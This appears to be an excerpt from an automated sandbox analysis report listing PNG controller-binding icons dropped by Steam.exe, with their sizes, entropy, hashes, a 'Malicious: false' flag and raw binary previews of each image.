UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0324.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	17029
Entropy (8bit):	7.893949208908615
Encrypted:	false
SSDEEP:
MD5:	7F38A7E2F6120FB0ECD8D7AEFFD06CAE
SHA1:	782A6A3994098AFBFE4335E03CBC4ACC42FA06CF
SHA-256:	284661391D33FF0A665762B81D9675769A42E03E76C715FE483F21D672BD1851
SHA-512:	D88AD1586C3129D5BAFE0E1E56D97CC21BBEF3D6C096F5AD7C351CED32DF53BDA634EA7038F87630F27BA13E293017C1F1FBE3325FE7672B469A222744144361
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0325.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	25128
Entropy (8bit):	7.910609786543444
Encrypted:	false
SSDEEP:
MD5:	F487E86931EC1096F01B4C34C17E1CC0
SHA1:	7AB68D081DA708EE3C1331685E508BC15217ABAD
SHA-256:	75673ADEA2FE255901E017F2E8B472DFAF8E51FE43E129D91C616F7EF882F1F1
SHA-512:	EE9584FDB14DE7528094F4C419D5F4D6AA26704BA3179ED0953594EA5670A1D13D49798EFBC8D17567278AE6E665A49B5A871F6769A2486A598A64E1D65173C0
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0326.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14670
Entropy (8bit):	7.830340369195891
Encrypted:	false
SSDEEP:
MD5:	4E1B03065A6AC8D779FF886EFFA9E58D
SHA1:	5977F3BBB21103F53BF3E303314562A5A922E1F9
SHA-256:	D2D0DEE04E6A186187EE68BCF8961C76B4CC299EC030DCE6028A0D977FEC59C3
SHA-512:	F5F48A6612FD82F8FACB1A17A4B10A5C6779A276C90939C7D3DF335087FECE318400E9B80914224BB891C6A519C12D4413CEC0E12EBEBA11175D4440955E931D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0327.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18379
Entropy (8bit):	7.873729753908968
Encrypted:	false
SSDEEP:
MD5:	AAF0E4478F2303F73B410DF03089A711
SHA1:	CDDFD2C96CA64032C8AE8B888998AB5AE36F4CF4
SHA-256:	A7282D49EB63C8F9C9929C6535E737494BD09D8CF767F74364378E7DF347F163
SHA-512:	754A69DA6569B963007261C79844E35953D317684BC3C0144B8596D425CDAD6E7D533A5BA47C43F3D77D27D2A7F83BE2E6F918A3ADB483C4BADDD87EDD0A343D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0328.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15442
Entropy (8bit):	7.8194486284616564
Encrypted:	false
SSDEEP:
MD5:	5C3DD8A22179A7467A87565B57585B80
SHA1:	FB3DF3BEAF25A072566BBAA3BD9224127DE45064
SHA-256:	38171433DD5632A1A2D10D85854A4CFBDA2126E1010E241FAD27F59C20A20964
SHA-512:	27625079A09C2F92A139A2D41ABE41B5B101A433AA8B57F262C5516946390001E7230E116D9A58412AEFDDABDC855CCDB6A4A177D14475FABABE55411EEB555D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0329.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	16655
Entropy (8bit):	7.891599584423451
Encrypted:	false
SSDEEP:
MD5:	A5DDA61B9320D0B740EB0A9A743B39E2
SHA1:	22BF9600A61D1AC0AC5D0D390CF9BC343B7A49DF
SHA-256:	6E3CF71E9ED0F35D4129B43F901A199760C82D34CBB1F37A9CD864F54EF46AFE
SHA-512:	FE64C9DE5379B448D73DB69A3302D8B0E14435093B082563C2E219BA8673D6C2B5000041A60D7060D88F067016AD6630EED6EA2DFBF061E52FC3B28278481E27
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0330.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	16017
Entropy (8bit):	7.838981540041423
Encrypted:	false
SSDEEP:
MD5:	6A374DD647E2488C7870DD9E6B4913B2
SHA1:	4513A3498DF60FA3EFFFB3B7D0336B6957CE8B31
SHA-256:	855DFC518A06D5A5A51EC5B081DBF0075897751BD3C078F43DD5DF81CBCCCF75
SHA-512:	F95920CF345A37B34C7DB71EB7E22E55D8A23E6D4C665AFA24964166A6F4BDC65CB4281B766FA863FAC4AB1F7516127FF30B51CFDF4E72E1623ADBC1248CB77C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0331.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	12162
Entropy (8bit):	7.80489321185951
Encrypted:	false
SSDEEP:
MD5:	9AA56D11D71813F2520B15D156AA3505
SHA1:	7AAABAC5B3E70915ADF942072F0B6BB4A3E2A891
SHA-256:	487100885E47042FF94535D62A40E4A6857C9223A8ECB9A0EE3E2DC441A957B8
SHA-512:	5C3F5FDC62A9CD4BE61DB1FB9086352A731FD366BB55F03773DFD6E8B5BAA8FBD87702A0FD4FEA160D8FF48B1B3CC8AA03F089BAD2B89138588A3970D7EAE75B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0332.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	39042
Entropy (8bit):	7.961141582813515
Encrypted:	false
SSDEEP:
MD5:	2BE5D7A57883F68461CB871D35F60403
SHA1:	0FB5FE5C17E5158BDEB7D5CF721267A7CDAA692F
SHA-256:	52DF033F8CEC5DA6DAB5BABE8BBB0014AD4A05D6C974D7C4DE7CA1D189369661
SHA-512:	21ED19AE610E25A72EA7B733838A6BB3178EE79816F32A9C690D1BC091F7C5CBDDD857E4D061878C9A78F90F7D2337BBC07AA8E8A31241778DDFBE38D0A1A9D3
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0333.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15338
Entropy (8bit):	7.840255803924088
Encrypted:	false
SSDEEP:
MD5:	2BD003203B3535B5811246E926C7E72A
SHA1:	97DD07FA9E1C3A421BDF9581614C805FE3750FF4
SHA-256:	2E1E7CE7148F30D053764FC748D6D6E20846E900381A943C9D70B8449936AA8F
SHA-512:	FA74360A940A24B8F6F9EFF167FAE67993C4EA0FC8DDC7442AACDE3993DBA6BE7D17D286BFBD2921A7065F5D6DDB508A2AC0E11C6FCD29F7E59FE395BA7D7B40
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0334.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	11874
Entropy (8bit):	7.682381992276045
Encrypted:	false
SSDEEP:
MD5:	7C4F706C37A7450708CFA867D09B6793
SHA1:	3AC1D0B289D004054DD7712B86B03548E1C9222C
SHA-256:	F6CFF4801847582B9B23189868E0B65223779569907E5B4F31D65EE9E1800C09
SHA-512:	F3EA0488C287727FA2711FCE8ADD3E815DBD6355102B7213FD0C2BA34192E04CD1CF4CCF59BDAF9FE952344AA46A08248CCDE34309F60FC01AB9A84C79DA1407
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0335.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18210
Entropy (8bit):	7.873543927641132
Encrypted:	false
SSDEEP:
MD5:	F391E3710B10AE913350272E2647AEA0
SHA1:	9F4C72DE01BF33778DE98CEE4471B70D60D0C462
SHA-256:	547532BB969A7D6145507D091B4A1B5EE99E234B35B50167F82F962DB5D45E51
SHA-512:	DB98CBB1617CF19A3D4B6CA6AB17B6B1A86CC449B614BA64C02E17B1D11CE9B2B58E7E8CA8EF14F59935F5EC5268DB49D1B92C78B3667CA8CC3DCD7EE81E6734
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0336.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9587
Entropy (8bit):	7.612629834527037
Encrypted:	false
SSDEEP:
MD5:	3D269C40B74D5987470F26DA751E1A55
SHA1:	C2A6A87CF0DE32CC55430D77EB4C73E3A551295A
SHA-256:	1E5F5F1D581F4F74F05C56B82737B74F7AE34C7590FADAFE62866EB022497436
SHA-512:	A8D7709021731DE910FC006354D8762DFD7BBFDDE3EFDE0DA4F860E8D07C6AC2E8F7BA96BD01BD44DA25C76ADE2CCEC19DA759A1D2F582F504E9F40AB311BCB3
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0337.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18364
Entropy (8bit):	7.872703019069262
Encrypted:	false
SSDEEP:
MD5:	1A0A6327722E38227089385C3810D51C
SHA1:	6C5C25C5A27FA2BA1BCF7CEA71BA02B819028B2A
SHA-256:	A5AEB8F3B743F54B69E70B18E504D50117D034F154C3BFC251291B6C7438A427
SHA-512:	A9C4689F3FAD5B7EC333799261D4EE36ADDBFD092EC292116E4D182E2FEB4E78D7598E06B8118F85ED03330ABA02F26D57E9EA53FDB87C979C4232FB5836A53B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0338.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	34656
Entropy (8bit):	7.939482068181062
Encrypted:	false
SSDEEP:
MD5:	EB1DD05BA09C7A2ADF1CCD09001D73CA
SHA1:	D3CAF7B1CBB15A256C7AC2FFCEE2BF2EECCB4E18
SHA-256:	DD982A879CD903CC84D405D90BFD1A8230EEDFFC4511DFBFF5A46A2A83C1E66A
